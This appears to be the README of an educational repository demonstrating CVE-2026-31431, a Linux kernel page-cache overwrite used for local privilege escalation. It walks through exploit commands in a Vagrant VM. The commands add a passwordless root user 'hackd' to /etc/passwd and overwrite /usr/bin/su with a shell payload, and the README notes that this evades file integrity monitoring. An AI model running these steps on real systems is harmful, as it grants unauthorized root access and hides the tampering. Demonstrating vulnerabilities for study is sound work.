
A demo and explanation of CVE-2026-31431
A demonstration and explanation of CVE-2026-31431, the Linux Kernel Copy Fail Local Privilege Escalation vulnerability. The vulnerability allows for files opened with read permission to have data overwritten in the page cache.
This repository is for educational purposes only and illustrates the vulnerability in a controlled environment. The files included are:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
The vulnerability, named Copy Fail, is present in Linux kernels from 2017 to 2026 due to a logic flaw in algif_aead. It has been assigned CVE-2026-31431 with a CVSS score of 7.8, leading to a high severity rating. The exploit is deterministic and can bypass traditional file integrity monitoring tools.
Proof of concepts have been published in various languages, including C, Python and Go, but for this demonstration Python is used and requires Python version 3.10 or higher. This exploit requires local code execution as an underprivileged user and can be used for local privilege escalation.
The below sections are:
Ensure you have Vagrant and QEMU installed. Then, clone this repository and navigate to the project directory.
vagrant up
vagrant ssh
Inside the VM, we can test the limits of our capabilities.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
We are obviously limited in our capabilities, but we can use the vulnerability to escalate privileges.
To understand the vulnerability, lets overwrite a dummy file and see what happens.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
We have a file with three lines. The first line has is 6 bytes (newline included), the second line is 2 bytes, and the third line is a single byte. This is important because the exploit overwrites data in blocks of 4 bytes, and we pad the payload to fill it out.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
We can see we have relaced the first 8 bytes of the file with our payload. There are two characters that are there but are not printable. Open the file in nano to check.
But this is not too exciting, so lets move on to write into files that we do not have write permissions for.
We can overwrite the contents of /etc/passwd to add a user with root privileges but no password.
cat /etc/passwd
The first line contains the root user and contains 8 groups of 4 characters (including the newline). It is formatted as follows root:x:0:0:root:/root:/bin/bash, and the values refer to username, password, UID, GID, home directory, shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
We have added a new user hackd with UID 0 and GID 0, which means it has root privileges. The password field is empty, so we can log in without a password.
su hackd
id
cat /etc/shadow
In the original exploit, the binary /usr/bin/su is overwritten with instructions to execute a shell, allowing the attacker to gain root privileges when executing su. We can recreate this exploit by targetting /usr/bin/su with the original payload from a file.
Note that this destroys the su binary in this page cache.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
With the payload in place, we can execute su and gain root privileges. This opens a shell with user id 0, which is typically the root user, but if the above demo was carried out, it would be the hackd user we created. This exploit would open a shell even if the root user has a password.
su
id
This exploit does not modify the on-disk file, but rather the page-cache state. As a result, traditional file integrity monitoring tools that check for changes to files on disk do not detect this exploit.
To demonstrate this, run the above exploit(s) and then after a restart of the VM, check the contents of the target file.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
The following components are used in the exploit:
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loThe commit that enabled the in-place optimization that created this vulnerability:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
The patch was made without any public announcements and removes the functionality of the in-place operation in algif_aead:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Read More:
Python Implementations
C Implementations
Go Implementations